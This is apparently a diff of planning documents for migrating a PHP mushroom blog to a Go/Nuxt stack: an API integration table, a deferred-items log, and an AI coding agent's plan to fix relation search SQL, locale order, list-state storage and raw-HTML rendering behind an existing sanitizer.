||||
|---|---|---|
|
||||
| posts list (GET posts: page, per_page, sort) | INTEGRATE | |
|
||||
| posts list filtered by category (GET posts?category=) | INTEGRATE | |
|
||||
| posts list filtered by tag (GET posts?tag=) | INTEGRATE | |
|
||||
| post by slug (GET posts/{slug}) | INTEGRATE | |
|
||||
| post previous_post / next_post | INTEGRATE | |
|
||||
| post related_posts | INTEGRATE | |
|
||||
| post featured_images / featured_image_url | INTEGRATE | |
|
||||
| categories tree with include_empty=1 (GET categories) | INTEGRATE | |
|
||||
| category rich content field (D-21, on categories rows) | INTEGRATE | |
|
||||
| tags (GET tags) | INTEGRATE | |
|
||||
| rss (GET rss, proxied at /rss.xml) | INTEGRATE | |
|
||||
| author profile by slug (D-20 anonymous author endpoint) | INTEGRATE | |
|
||||
| author posts listing (D-20) | INTEGRATE | |
|
||||
| posts full-text search (GET posts?search=) | OPT-OUT | explicitly out of scope: the PHP site has no search page or form (D-05 lists no search view); the client can add it without an API change |
|
||||
| posts pinned_first ordering (GET posts?pinned_first=) | OPT-OUT | not needed: every PHP listing sorts by published_at desc only (blog.htm, index.htm, autor.htm) |
|
||||
| editor draft preview on GET (Authorization Bearer) | OPT-OUT | explicitly out of scope: the public layer never sends credentials, so drafts stay 404 to visitors (Phase 15 JOURNAL-005) |
|
||||
| create / update / delete posts (POST, PUT, DELETE posts) | OPT-OUT | explicitly out of scope: backend-JWT admin and importer surface; the layer calls anonymous GET routes only (D-05) |
|
||||
| featured-image upload / delete (POST, DELETE posts/{id}/featured-images) | OPT-OUT | explicitly out of scope: featured images migrate through the app-local grzyby:import-featured-images command (D-22), not the HTTP write route |
|
||||
| media upload (POST media/upload) | OPT-OUT | explicitly out of scope: media files are copied from PHP storage by the migration runbook (D-17); uploads stay an admin action |
|
||||
@@ -0,0 +1,26 @@
|
||||
# Phase 16 deferred items
|
||||
|
||||
## From 16-02 (vue-grzybyfunkcjonalne-app)
|
||||
|
||||
- **vue-journal-layer: visitor address lost under Nitro swr route caching.** `routeRules` swr renders a page from a copy of the request that keeps only `varies` headers, so the layer's `useJournalApi` reads no `x-forwarded-for` and forwards only the Nuxt peer. Every SSR cache miss would then share one Go rate-limit bucket (RESEARCH Pitfall 5). The site app works around it with `server/plugins/client-address.ts` (records the address in `event.context` on the Nitro `request` hook) and an app-level `useJournalApi` override. Fix it in the layer (a layer Nitro plugin plus the composable reading `event.context`), release a new tag, bump the app and delete the app override. The layer's `/rss.xml` and sitemap source have the same gap on their cache misses (once per TTL).
|
||||
- **vue-journal-layer smoke tool sends no Accept header.** Undici's `fetch` sends `sec-fetch-mode: cors`, so Nuxt answers errors with JSON and an expectation such as `404 /404 contains=...` cannot see the error page. The app works around it with `server/plugins/html-errors.ts`, which treats page paths as HTML requests. An `Accept: text/html` default in `testing/smoke-ssr.mjs` would let other apps check error copy without such a plugin.
|
||||
- **`public/images/cta.png` is 5.5 MB** (1792×1024 PNG, kept byte for byte from the live site as the plan required). It is the CTA band and blog hero background. A WebP derivative (the hero photo is 0.47 MB as WebP) would cut page weight; decide before the production cutover.
|
||||
|
||||
## From 16-03 (sm-grzybyfunkcjonalne-app host, runbook and deploy)
|
||||
|
||||
- **summercms.go: the generated main.go publishes no database for plugin commands.** `lagoon`, `cabana` and `surf serve` open the database themselves (`lagoon.OpenFromApp`), but a plugin's `pact.HasCommands` command finds no `*gorm.DB` on the app. So `journal:import-posts`, `journal:export-posts` and `user:token:*` stop with "database is not configured" in every `summer build` host (fonoteka.go's hand-written `app.go` publishes it). The host works around it with `grzyby:import-posts` and a `lookupDB` helper that open and publish the database through lagoon. Fix it in the framework, for example as a lazy publish before plugin command `Run`, so the wrapper can go.
|
||||
- **sm-journal-plugin: `journal:import-posts` rejects `"translations": []`.** The PHP exporter writes a post without translations as `[]` (json_encode of an empty PHP array), and the Go `PostFile.Translations map[string]map[string]any` fails to unmarshal it ("Invalid JSON"). This affects 5 of the 105 grzybyfunkcjonalne export files; 2 of them are published, including the live post `ekstrakt-z-turkey-tail`. `scripts/migrate.sh` imports from a copy in which only that empty array becomes `{}`. The importer should accept an empty array as an empty map (PHP parity).
|
||||
- **`first-journal-post` is published in the export but not on the live site.** "First journal post" was published 2026-02-23. It is absent from the live sitemap, so Go serves 63 published posts where the live site lists 62. Unpublish or delete it after the staging import (16-04), or confirm it should stay.
|
||||
- **The UAT-host image references are not in the imported bodies.** The 2 `https://gf.uat.golem15.com/storage/...` references sit only in the base (older) content of `wprowadzenie-do-grzyba-cordyceps`. With pl as the default, the pl body replaces the base text, so the gap report shows 1 export file and 0 imported bodies. Nothing is broken on the new stack. The report keeps listing the export file.
|
||||
- **nginx `listen ... http2` is deprecated on nginx 1.25.1 and newer** (a warning, not an error). The staging vhost keeps the summercms.io form because the PHP server's nginx version is unknown. Switch to `http2 on;` once 16-04 confirms the version. *Resolved in 16-04 (b488fdd): the server runs nginx 1.26.3 and the vhost uses `http2 on;`.*
|
||||
- *`first-journal-post`: resolved in 16-04 for staging. `migrate.sh --skip first-journal-post` leaves it out of the import, so staging serves the 62 live posts. The export file itself is unchanged.*
|
||||
|
||||
## From 16-04 (staging deploy)
|
||||
|
||||
- **summercms.go `modules/lagoon/attach`: file buckets write temp files to `os.TempDir()`.** gocloud's fileblob creates the temp file in `/tmp` and renames it into the bucket. On a server whose `/tmp` is tmpfs (the grzybyfunkcjonalne staging server), every write fails with "invalid cross-device link". The host sets `?no_tmp_dir=true` in `config/storage.yaml` (sm-grzybyfunkcjonalne-app 6ef012e). `normalizeBucketURL` could default `no_tmp_dir` for `file://` the same way it defaults `create_dir`, so no host meets this on its first upload. Not changed here: another session owns `modules/`.
|
||||
- **Visual review of staging (16-04 Task 3 human-check) is pending.** The automated checks all pass. A human still opens the staging pages with the UAT credentials and compares them with the live site (design, Polish copy, featured images, inline media). The admin password step of the original human-check no longer applies: the operator created the admin with a password piped from a file outside the deploy.
|
||||
- **The plan's verify commands curl `$STAGING_URL` from the executor's machine,** but staging keeps the server's UAT basic-auth gate (operator decision), so they answer 401 from outside. They ran on the server through the loopback bypass instead (DEPLOY.md, "Smoke"). A later plan that checks staging from outside needs the credentials, or should run on the server the same way.
|
||||
|
||||
## From 16-05 (unit tests and phase gate)
|
||||
|
||||
- **The testcontainers path of the grzyby console test harness has not run.** Docker is unreachable for user `golem`, so `plugins/grzyby/console` ran through `GRZYBY_TEST_ADMIN_DSN` against a throwaway Postgres 18.6 cluster (initdb, ICU) only. Whether `postgres:16-alpine` accepts `ICU_LOCALE 'pl-PL'` in the harness's `CREATE DATABASE` is unverified. Run `go -C sm-grzybyfunkcjonalne-app/plugins/grzyby test ./... -race` once with Docker and without the DSN; if the image lacks the pl-PL ICU data, switch the harness image or drop the ICU clause for the container path.
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,311 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
plan: 01
|
||||
type: execute
|
||||
wave: 1
|
||||
depends_on: []
|
||||
files_modified:
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/README.md
|
||||
- docs/backend/forms.md
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/README.md
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- scripts/check-phase10.sh
|
||||
- modules/boardwalk/dist/
|
||||
autonomous: true
|
||||
requirements: [D-01, D-02, D-03]
|
||||
estimate:
|
||||
tokens: 85000
|
||||
raw_tokens: 85000
|
||||
tasks: 4
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-02: a list search over a belongsToMany relation column answers 200 instead of 'Server error': the count and page queries match through EXISTS (SELECT 1 FROM the pivot JOIN the related table ...) whose pivot, key and table names come from GORM's parsed relationship (gorm.Statement.Parse, Schema.Relationships.Relations), never from a naming convention."
|
||||
- "D-02: search over hasMany, hasOne and belongsTo relation columns also goes through a correlated EXISTS subquery, so the outer list query gains no JOIN during the count: a record matching through several related rows is counted and listed once, and unqualified ListExtendQuery or scope predicates (id IN (...), user_id = ?) stay unambiguous."
|
||||
- "D-02: sorting by a hasMany or belongsToMany column orders by a correlated string_agg subquery followed by the primary-key tiebreak; sorting by a belongsTo or hasOne column keeps the existing association join."
|
||||
- "D-02: polymorphic relations and columns missing from the related schema are refused with a 422 validation_failed on search (or sort), never with a 500."
|
||||
- "D-03: the form schema's meta.enabledLocales lists the default locale first and the other enabled codes in the writer's order, so every ML control opens on the default locale where the stored host content, excerpt, title and slug live."
|
||||
- "D-03: classes.FormatHTML keeps raw HTML in content (imported HTML bodies round-trip unchanged) and still refuses script, iframe, object and embed tags, event handler attributes and javascript, vbscript and data URLs on every write path (admin save, import, Journal API)."
|
||||
- "D-01: list search, sort, dir, page, per_page and filter[name] stay in the list URL; every list query the view loads is also stored in browser storage under the key summer-admin.list: followed by the controller id; an empty query is never stored."
|
||||
- "D-01: a list opened without list-state params (navigation rail, breadcrumb, form back, cancel, save-and-close, delete) restores the stored query into the URL before its first list request; a URL with list-state params wins and overwrites the stored query; logout removes every stored list query."
|
||||
- "D-02: every cabana and admin commit of this plan is staged by explicit path and holds only this plan's files; sm-journal-plugin changes are committed in their own repository."
|
||||
- "go vet stays clean in summercms.go and sm-journal-plugin, and the named smoke tests, the vitest files, TestDocsTree and scripts/check-admin-dist.sh are green at every commit."
|
||||
artifacts:
|
||||
- path: "modules/cabana/query.go"
|
||||
provides: "EXISTS relation search and correlated to-many sort built from the parsed GORM relationship"
|
||||
contains: "Relationships.Relations"
|
||||
- path: "modules/cabana/query_relation_test.go"
|
||||
provides: "DryRun harness, relation fixtures and the tracer smoke test"
|
||||
contains: "TestListRelationSearchSmoke"
|
||||
- path: "modules/cabana/locale_order_test.go"
|
||||
provides: "default-locale-first smoke test"
|
||||
contains: "TestEnabledLocalesDefaultFirstSmoke"
|
||||
- path: "../sm-journal-plugin/classes/format_html.go"
|
||||
provides: "goldmark with unsafe HTML rendering behind the unchanged safety gate"
|
||||
contains: "WithUnsafe"
|
||||
- path: "admin/src/state/listState.ts"
|
||||
provides: "per-list browser storage of the list query"
|
||||
contains: "summer-admin.list:"
|
||||
key_links:
|
||||
- from: "modules/cabana/query.go applyListSearch / applyListOrder"
|
||||
to: "gorm.io/gorm/schema Relationship (Type, References, JoinTable, FieldSchema)"
|
||||
via: "gorm.Statement{DB: db}.Parse(model) then Schema.Relationships.Relations[field]"
|
||||
pattern: "Relationships.Relations"
|
||||
- from: "modules/cabana/http.go enabledContentLocales"
|
||||
to: "TranslationWriter.DefaultLocale"
|
||||
via: "default code moved to index 0 of meta.enabledLocales"
|
||||
pattern: "DefaultLocale"
|
||||
- from: "admin/src/views/ListView.vue watch on listQueryKey"
|
||||
to: "admin/src/state/listState.ts readListState / writeListState"
|
||||
via: "restore before the first list request when the URL has no list params"
|
||||
pattern: "readListState"
|
||||
- from: "../sm-journal-plugin/controllers/posts.go preparePostWrite"
|
||||
to: "../sm-journal-plugin/classes/format_html.go FormatHTML"
|
||||
via: "content to content_html on every admin save"
|
||||
pattern: "FormatHTML"
|
||||
prohibitions:
|
||||
- "[FLAGGED-UNVERIFIED] The relation-search fix must not be a Journal-specific workaround, and framework code, READMEs and docs must not name a consuming application (D-02, CLAUDE.md)."
|
||||
- "[FLAGGED-UNVERIFIED] List state must not be stored on the server: no table, no migration, no new API route (revised D-01)."
|
||||
- "[FLAGGED-UNVERIFIED] The Journal API content and content_html response shapes must not change; only the stored HTML stops losing raw HTML (API parity)."
|
||||
- "[FLAGGED-UNVERIFIED] cabana.RenderMarkdown, whose output the admin preview renders with v-html, must not switch to unsafe HTML."
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT: (1) list search no longer fails with "Server error" (search across a belongsToMany relation built a hasMany join); (2) list sort and filters are remembered after opening a record and going back; (3) the post form shows the stored content; (4) the post form shows the stored excerpt. Then release a summercms tag, bump the host, redeploy to UAT and re-run the staging smoke.
|
||||
|
||||
This plan's slice (D-05: "01 all fixes"): every code fix, each with a smoke test. Release and redeploy are plan 02; full unit coverage is plan 03.
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: the phase has no REQUIREMENTS.md IDs to probe (Requirements: TBD), so no probe predicates are generated this run. CONTEXT D-01..D-05 and the RESEARCH root causes are the source of truth. The edge cases RESEARCH names (polymorphic and soft-deleting relations, self-referencing relations, stale stored list state, out-of-range restored page, the user clearing every list control, same-path navigation) are authored into the task behaviors and `must_haves.truths`; the kept must-NOTs are in `must_haves.prohibitions`.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- summercms.go `modules/cabana`: EXISTS-based relation search and correlated to-many sort in `query.go`; default-locale-first `meta.enabledLocales` in `http.go`; new test files `query_relation_test.go` and `locale_order_test.go`; README and `docs/backend/{lists-and-filters,forms}.md` sentences.
|
||||
- summercms.go admin SPA: new `admin/src/state/listState.ts`; list-state entry logic in `admin/src/views/ListView.vue`; logout clears stored list queries (`admin/src/state/useAuth.ts`); rebuilt `modules/boardwalk/dist/`; the `scripts/check-phase10.sh` browser-storage allowlist names `listState.ts`.
|
||||
- sm-journal-plugin: `classes/format_html.go` renders raw HTML behind the unchanged gate; a smoke test; README sentence. Committed on `main`, not pushed (plan 02 pushes).
|
||||
- No server-side table, migration, route or OpenAPI change (revised D-01).
|
||||
|
||||
<objective>
|
||||
Fix the four UAT defects in code (D-05 plan 01): relation search and to-many sort through subqueries built from GORM's parsed relationship (D-02), the default content locale first in form locales so the form shows stored content and excerpt (D-03), raw HTML kept in content_html so an admin save no longer destroys imported posts (D-03), and list state kept in the URL and browser storage (D-01).
|
||||
|
||||
Purpose: UAT admins can search, filter and return to the Journal posts list and edit imported posts without losing data.
|
||||
Output: four commits in summercms.go (cabana search/sort, cabana locales, admin list state with rebuilt dist, nothing else) and one commit in sm-journal-plugin.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
|
||||
@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-PATTERNS.md
|
||||
@modules/cabana/query.go
|
||||
|
||||
RESEARCH caveat: its list-state design (a backend_list_states table, a GET list-state route, a migration, an OpenAPI regeneration) is superseded by the revised D-01 (URL plus browser storage). Ignore those parts of RESEARCH and PATTERNS.
|
||||
|
||||
Commit rules: no co-author tags; one logical change per commit; planning docs and code in separate commits; stage every file by explicit path (never `git add -A` or `git add .`; summercms.go has untracked `.msd/` and a modified `.planning/state.json`, sm-journal-plugin has an untracked `go.work.sum`, none of which belong in these commits).
|
||||
|
||||
Docker is not usable on this machine, so `go test ./modules/cabana` without `-run` fails on the Postgres-backed tests for reasons unrelated to this plan. Every gate below runs the named pure tests.
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 1: Tracer: a list search over a belongsToMany column answers 200 through an EXISTS subquery (GET list, ExecuteList, SQL)</name>
|
||||
<precondition>git status --porcelain -- modules/cabana docs/backend prints nothing, i.e. the concurrent session has no in-flight edit in the files this task touches (D-02); otherwise stop and report the conflicting paths.</precondition>
|
||||
<files>modules/cabana/query.go, modules/cabana/query_relation_test.go, docs/backend/lists-and-filters.md</files>
|
||||
<read_first>modules/cabana/query.go (whole file: ExecuteList, applyListOrder, applyListSearch, qualifiedColumn, quotedIdent, tableName, relationFieldName, listRelationColumn, relatedSelectMany), modules/cabana/query_test.go (queryRow, queryArtist, queryController, newListService, getList, decodeList, listEnvelope), modules/cabana/list_schema_test.go (filterFS), modules/cabana/security_test.go (controllerRequest), modules/cabana/README.md (the rule that framework code never guesses table, pivot or foreign-key names), docs/backend/lists-and-filters.md (column options paragraph near line 62), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Root-cause evidence Defect 1, Pattern 1, Pitfall 1, Code Examples "DryRun SQL test")</read_first>
|
||||
<behavior>
|
||||
- GET list with search=fungi on a controller whose list has a searchable belongsToMany column (tags, select name) answers 200; the recorded count statement contains an EXISTS subquery over the pivot table aliased cabana_p0 joined to the related table aliased cabana_r0, correlated by the pivot owner key to the main table primary key, and contains no LEFT JOIN.
|
||||
- GET list with sort=tags and dir=desc records an ORDER BY that holds a string_agg subquery with DESC followed by the main table primary-key tiebreak.
|
||||
</behavior>
|
||||
<action>Run the precondition check first (D-02). Then edit modules/cabana/query.go:
|
||||
|
||||
Add one unexported builder (for example relationSubquery) used by both search and sort. It takes the db, the model, the Go field name from relationFieldName, the physical column from listRelationColumn and an alias index n. It parses the model with a fresh gorm.Statement{DB: db} and Parse(model), reads Schema.Relationships.Relations[field] and never derives a table, pivot or key name from a naming convention (D-02, README rule). It refuses with listInvalid (field "search" or "sort", the caller passes it) when the relation is missing, its FieldSchema lacks the column (FieldSchema.LookUpField), the column fails identifier(), any reference is polymorphic (non-empty PrimaryValue), or the type is not one of schema.Many2Many, schema.HasMany, schema.HasOne, schema.BelongsTo. The related table is aliased cabana_r(n) and the pivot cabana_p(n), so a self-referencing relation stays correct; the main table is the parsed Schema.Table, left unaliased so it names the outer FROM. Correlation by type: Many2Many joins rel.JoinTable.Table AS the pivot alias to the related alias on the references whose OwnPrimaryKey is false (pivot foreign key equals related primary key) and correlates the references whose OwnPrimaryKey is true (pivot foreign key equals main primary key); HasMany and HasOne (OwnPrimaryKey true) correlate related foreign key to main primary key; BelongsTo correlates related primary key to main foreign key. When the related schema has a field of type gorm.DeletedAt, add that column IS NULL on the related alias (Winter whereHas applies the related soft-delete scope). Quote every identifier with quotedIdent and qualifiedColumn. The builder returns the FROM part and the WHERE correlation and carries no bound values.
|
||||
|
||||
applyListSearch: for a column with relation, append EXISTS (SELECT 1 FROM the builder's FROM WHERE the correlation AND LOWER(CAST(related alias.column AS TEXT)) LIKE ? ESCAPE backslash) to the existing OR group with the same bound pattern own columns use; drop the association join and its bookkeeping map. This applies to every relation type, so the count query never gains an outer JOIN (RESEARCH Pitfall 1). Own-column search is unchanged.
|
||||
|
||||
applyListOrder: change it to return (*gorm.DB, error) and propagate the error from ExecuteList. Keep the existing association join and column order for BelongsTo and HasOne columns (covered by the existing artist sort). For HasMany and Many2Many columns order by the correlated scalar subquery (SELECT string_agg(CAST(related alias.column AS TEXT), ', ' ORDER BY CAST(related alias.column AS TEXT)) FROM ... WHERE correlation), which is Winter's group_concat sort and matches what relatedSelectMany displays. Emit it as a clause.OrderByColumn whose clause.Column has Raw true and whose Desc follows the request, so the existing primary-key tiebreak OrderByColumn merges into the same ORDER BY (a clause.OrderBy carrying an Expression is replaced when the tiebreak column merges into it).
|
||||
|
||||
Create modules/cabana/query_relation_test.go (package cabana, no Docker). Fixtures: relPost (table cabana_rel_posts: ID, Title, AuthorID pointer, Author relAuthor belongsTo through AuthorID, Tags []relTag with gorm tag many2many:cabana_rel_post_tags, Notes []relNote has-many through PostID), relTag (cabana_rel_tags: ID, Name), relNote (cabana_rel_notes: ID, PostID, Body), relAuthor (cabana_rel_authors: ID, Name); a relController with ConfigDir controllers/widgets so filterFS applies and NewRecord returning a relPost pointer; columns.yaml with title (searchable), tags (relation tags, select name, searchable, sortable), notes (relation notes, select body, searchable), author (relation author, select name, searchable, sortable); config_list.yaml with showSorting true. A helper opens a DryRun GORM db with the postgres dialector on a DSN that is never dialed (host 127.0.0.1 port 1; gorm.Config DryRun true, DisableAutomaticPing true) and a recording logger (a gorm logger.Interface whose Trace appends the SQL returned by its callback and whose LogMode returns itself). A second helper builds a *service like newListService does, but with backpack.New(nil), Publish of the DryRun db and the compiled list registered as acme.demo.widgets (the id controllerRequest targets); plan 03 and Task 2 reuse both helpers. TestListRelationSearchSmoke implements the behavior above through getList.
|
||||
|
||||
docs/backend/lists-and-filters.md: one sentence after the column options paragraph: a searchable relation column matches a record when any related record matches (belongsTo, hasOne, hasMany and belongsToMany, each through a subquery, so a record is listed and counted once), and a sortable hasMany or belongsToMany column sorts by its comma-joined values. Use acme/blog names only. The module README needs no change (no exported identifier, config key or command changed).
|
||||
|
||||
Commit in summercms.go, staging exactly modules/cabana/query.go, modules/cabana/query_relation_test.go and docs/backend/lists-and-filters.md: fix(cabana): search and sort to-many relation columns through subqueries.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestListRelationSearchSmoke'</automated>
|
||||
<fails_when>Non-zero exit: go vet reports a problem, the test fails or does not exist, or the line "--- PASS: TestListRelationSearchSmoke" is absent from the output.</fails_when>
|
||||
<automated>go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit or "FAIL" in the output: the docs checker rejects an identifier, link or application name in the edited docs page.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` prints `--- PASS: TestListRelationSearchSmoke` on a machine without Docker.
|
||||
- The test asserts the recorded count SQL contains `EXISTS (SELECT 1 FROM "cabana_rel_post_tags"`, the pivot owner key correlated to `"cabana_rel_posts"."id"`, and no `LEFT JOIN`; and that the sorted query holds `string_agg` followed by the `"cabana_rel_posts"."id"` tiebreak.
|
||||
- `grep -c 'Relationships.Relations' modules/cabana/query.go` is at least 1; `grep -c 'string_agg' modules/cabana/query.go` is at least 1; `grep -c 'EXISTS (SELECT 1 FROM' modules/cabana/query.go` is at least 1.
|
||||
- `go vet ./modules/cabana` exits 0 and `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
|
||||
- `git show --name-only --format= HEAD` lists exactly modules/cabana/query.go, modules/cabana/query_relation_test.go and docs/backend/lists-and-filters.md.
|
||||
</acceptance_criteria>
|
||||
<done>A search over a belongsToMany column produces valid SQL through the pivot named by GORM's relationship and the list answers 200; to-many sort uses a correlated aggregate; the change is one cabana commit.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 2: The post form opens on the default locale: meta.enabledLocales lists the default locale first</name>
|
||||
<precondition>git status --porcelain -- modules/cabana docs/backend prints nothing besides files this plan already committed (D-02).</precondition>
|
||||
<files>modules/cabana/http.go, modules/cabana/locale_order_test.go, modules/cabana/README.md, docs/backend/forms.md</files>
|
||||
<read_first>modules/cabana/http.go (enabledContentLocales near line 966 and its callers near lines 536 and 727), modules/cabana/field_ml.go (TranslationWriter, hydrateMLRecord), modules/cabana/ml_smoke_test.go (recordingWriter), modules/backpack/app.go (Publish, Lookup), modules/cabana/query_relation_test.go (the DryRun db helper from Task 1), modules/cabana/README.md (ML paragraph near line 27 and the cabana.FormMeta row near line 232), docs/backend/forms.md (ML paragraph near line 333), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Defects 3 and 4, Pattern 3)</read_first>
|
||||
<behavior>
|
||||
- With a published TranslationWriter whose EnabledLocales returns en, pl and whose DefaultLocale returns pl, enabledContentLocales returns pl, en.
|
||||
</behavior>
|
||||
<action>In service.enabledContentLocales (modules/cabana/http.go), after writer.EnabledLocales succeeds, call writer.DefaultLocale(ctx, db). When it returns a non-empty code found at an index above 0, move that code to index 0 and keep the other codes in the writer's order (work on a clone; slices.Index and slices.Delete). When DefaultLocale fails, log slog.Error with the message "cabana: default locale" and the error, and return the writer's order unchanged. This is the D-03 fix: the SPA's MLField and FormView already open on enabledLocales[0], and hydrateMLRecord already puts the host column (content, excerpt, title, slug) under the default locale, so the form shows the stored values. Do not change the SPA, liftMLValues or hydrateMLRecord.
|
||||
|
||||
Create modules/cabana/locale_order_test.go with TestEnabledLocalesDefaultFirstSmoke: a service whose backpack app publishes the Task 1 DryRun db and, with Publish typed as TranslationWriter, a recordingWriter with defaultLocale pl and enabled en, pl; enabledContentLocales returns exactly pl, en.
|
||||
|
||||
Docs (exported field semantics, CLAUDE.md README rule): in modules/cabana/README.md say that cabana.FormMeta.EnabledLocales lists the default locale first, then the other enabled codes in the writer's order (the FormMeta table row and the ML paragraph); in docs/backend/forms.md add that the selector options list the default locale first, so every ML control starts on it. Both files use the words default locale first. No consuming application names.
|
||||
|
||||
Commit in summercms.go, staging exactly those four paths: fix(cabana): send the default content locale first in enabledLocales.</action>
|
||||
<verify>
|
||||
<automated>go vet ./modules/cabana && go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana 2>&1 | grep -- '^--- PASS: TestEnabledLocalesDefaultFirstSmoke'</automated>
|
||||
<fails_when>Non-zero exit: go vet reports a problem, the test fails or does not exist, or the line "--- PASS: TestEnabledLocalesDefaultFirstSmoke" is absent.</fails_when>
|
||||
<automated>go test -count=1 ./cmd/summer -run TestDocsTree</automated>
|
||||
<fails_when>Non-zero exit or "FAIL" in the output.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` prints `--- PASS: TestEnabledLocalesDefaultFirstSmoke`.
|
||||
- `grep -c 'DefaultLocale' modules/cabana/http.go` is greater than before the task (enabledContentLocales calls it).
|
||||
- `grep -ic 'default locale first' modules/cabana/README.md docs/backend/forms.md` reports at least 1 for each file (both were 0 before the task).
|
||||
- `go test -count=1 ./cmd/summer -run TestDocsTree` passes.
|
||||
- `git show --name-only --format= HEAD` lists exactly modules/cabana/http.go, modules/cabana/locale_order_test.go, modules/cabana/README.md and docs/backend/forms.md.
|
||||
</acceptance_criteria>
|
||||
<done>Every form and relation-child schema sends the default locale first, so ML fields open on the stored host values.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="true">
|
||||
<name>Task 3: Saving an imported post keeps its HTML: FormatHTML renders raw HTML behind the unchanged safety gate</name>
|
||||
<reversibility rating="costly">After this change admin saves, imports and Journal API writes store raw HTML in content_html; reverting the renderer does not clean rows already saved, each would need a re-render.</reversibility>
|
||||
<files>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/README.md</files>
|
||||
<read_first>../sm-journal-plugin/classes/format_html.go, ../sm-journal-plugin/classes/format_html_test.go, ../sm-journal-plugin/classes/check_html_test.go, ../sm-journal-plugin/controllers/posts.go (preparePostWrite near line 204), ../sm-journal-plugin/README.md (Posts bullet near line 21, API table row for classes.CheckHTML near line 180), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Data loss on save, Pattern 4, Pitfall 5)</read_first>
|
||||
<behavior>
|
||||
- FormatHTML of two HTML paragraphs separated by a newline returns them unchanged after trimming.
|
||||
- FormatHTML of a markdown heading followed by a raw footer element keeps the footer element.
|
||||
- Every TestFormatHTMLRejectsUnsafeHTML case still passes (script, iframe, event handler, javascript, vbscript and data URLs are refused by the gate).
|
||||
</behavior>
|
||||
<action>In ../sm-journal-plugin/classes/format_html.go import github.com/yuin/goldmark/renderer/html (a package of the already-required goldmark v1.8.6; no go.mod change) and add goldmark.WithRendererOptions(html.WithUnsafe()) to markdownEngine, with a comment that Winter's Markdown::parse passes raw HTML through and rejectUnsafe gates the result (D-03, PHP parity). Rename the local result variable in FormatHTML and the parameters of CheckHTML and rejectUnsafe that share the imported package's name (for example out and doc) so nothing shadows the import. Keep the rejectUnsafe call after the render, the three gate patterns and CheckHTML unchanged. Do not touch cabana.RenderMarkdown in summercms.go (the admin preview stays safe-mode).
|
||||
|
||||
Add TestFormatHTMLKeepsRawHTML to classes/format_html_test.go with the two keep cases from the behavior list.
|
||||
|
||||
../sm-journal-plugin/README.md: extend the Posts bullet: FormatHTML passes raw HTML in content through unchanged (Winter parity), and the gate still refuses script, iframe, object and embed tags, event handlers and javascript, vbscript and data URLs on every write path (admin save, journal:import-posts, Journal API writes). The API response shapes are unchanged.
|
||||
|
||||
Commit in ../sm-journal-plugin on main, staging exactly classes/format_html.go, classes/format_html_test.go and README.md (go.work.sum stays untracked): fix(classes): keep raw HTML in content_html behind the safety gate. Do not push; plan 02 pushes.</action>
|
||||
<verify>
|
||||
<automated>go -C ../sm-journal-plugin vet ./... && go -C ../sm-journal-plugin test -count=1 ./classes/ && go -C ../sm-journal-plugin test -count=1 -run '^TestFormatHTMLKeepsRawHTML$' -v ./classes/ 2>&1 | grep -- '^--- PASS: TestFormatHTMLKeepsRawHTML'</automated>
|
||||
<fails_when>Non-zero exit: vet fails, any classes test fails (including TestFormatHTMLRejectsUnsafeHTML), or the line "--- PASS: TestFormatHTMLKeepsRawHTML" is absent.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- `go -C ../sm-journal-plugin test -count=1 ./classes/` prints `ok` for the classes package.
|
||||
- `grep -c 'WithUnsafe' ../sm-journal-plugin/classes/format_html.go` is 1 and `grep -c 'rejectUnsafe(' ../sm-journal-plugin/classes/format_html.go` is unchanged from before the task.
|
||||
- `go -C ../sm-journal-plugin vet ./...` exits 0.
|
||||
